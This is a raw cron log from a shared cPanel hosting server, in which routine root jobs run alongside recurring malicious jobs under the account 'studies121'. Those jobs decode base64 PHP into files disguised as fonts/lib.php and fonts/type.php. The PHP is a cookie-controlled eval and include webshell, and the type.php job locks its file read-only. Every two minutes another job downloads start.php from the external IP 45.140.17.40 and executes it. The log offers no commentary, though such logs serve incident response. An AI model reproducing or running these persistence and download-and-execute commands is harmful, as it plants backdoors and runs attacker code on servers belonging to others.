Sep 20 08:15:01 ip-184-168-122-23 CROND[17827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:15:01 ip-184-168-122-23 CROND[17829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:15:01 ip-184-168-122-23 CROND[17826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:15:01 ip-184-168-122-23 CROND[17831]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 08:15:01 ip-184-168-122-23 CROND[17828]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 08:16:01 ip-184-168-122-23 CROND[18106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:16:02 ip-184-168-122-23 CROND[18110]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 08:16:02 ip-184-168-122-23 CROND[18109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:16:02 ip-184-168-122-23 CROND[18112]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:16:02 ip-184-168-122-23 CROND[18111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:16:02 ip-184-168-122-23 CROND[18113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:17:01 ip-184-168-122-23 CROND[18421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:17:01 ip-184-168-122-23 CROND[18423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:17:01 ip-184-168-122-23 CROND[18426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:17:01 ip-184-168-122-23 CROND[18425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:18:01 ip-184-168-122-23 CROND[18765]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:18:01 ip-184-168-122-23 CROND[18766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:18:01 ip-184-168-122-23 CROND[18770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:18:01 ip-184-168-122-23 CROND[18772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:18:01 ip-184-168-122-23 CROND[18773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:19:02 ip-184-168-122-23 CROND[18996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:19:02 ip-184-168-122-23 CROND[18997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:19:02 ip-184-168-122-23 CROND[18998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:19:02 ip-184-168-122-23 CROND[19001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:20:01 ip-184-168-122-23 CROND[19274]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:20:01 ip-184-168-122-23 CROND[19277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:20:01 ip-184-168-122-23 CROND[19278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:20:01 ip-184-168-122-23 CROND[19283]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 08:20:01 ip-184-168-122-23 CROND[19282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:20:01 ip-184-168-122-23 CROND[19284]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 08:20:01 ip-184-168-122-23 CROND[19285]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 08:20:01 ip-184-168-122-23 CROND[19287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:20:01 ip-184-168-122-23 CROND[19286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 08:21:01 ip-184-168-122-23 CROND[19567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:21:01 ip-184-168-122-23 CROND[19568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:21:01 ip-184-168-122-23 CROND[19572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:21:01 ip-184-168-122-23 CROND[19574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:22:01 ip-184-168-122-23 CROND[19840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:22:01 ip-184-168-122-23 CROND[19842]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:22:01 ip-184-168-122-23 CROND[19844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:22:01 ip-184-168-122-23 CROND[19845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:22:01 ip-184-168-122-23 CROND[19843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:23:01 ip-184-168-122-23 CROND[20132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:23:02 ip-184-168-122-23 CROND[20134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:23:02 ip-184-168-122-23 CROND[20135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:23:02 ip-184-168-122-23 CROND[20138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:24:01 ip-184-168-122-23 CROND[20388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:24:01 ip-184-168-122-23 CROND[20390]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:24:01 ip-184-168-122-23 CROND[20391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:24:01 ip-184-168-122-23 CROND[20392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:24:01 ip-184-168-122-23 CROND[20395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:25:01 ip-184-168-122-23 CROND[20733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:25:01 ip-184-168-122-23 CROND[20734]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 08:25:01 ip-184-168-122-23 CROND[20738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:25:01 ip-184-168-122-23 CROND[20739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:25:01 ip-184-168-122-23 CROND[20737]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 20 08:25:01 ip-184-168-122-23 CROND[20740]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 08:25:01 ip-184-168-122-23 CROND[20741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:26:01 ip-184-168-122-23 CROND[21013]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 08:26:01 ip-184-168-122-23 CROND[21014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 08:26:01 ip-184-168-122-23 CROND[21015]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep 20 08:26:01 ip-184-168-122-23 CROND[21016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 08:26:01 ip-184-168-122-23 CROND[21020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 08:26:01 ip-184-168-122-23 CROND[21021]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 08:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 20 08:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 20 08:27:01 ip-184-168-122-23 CROND[21344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
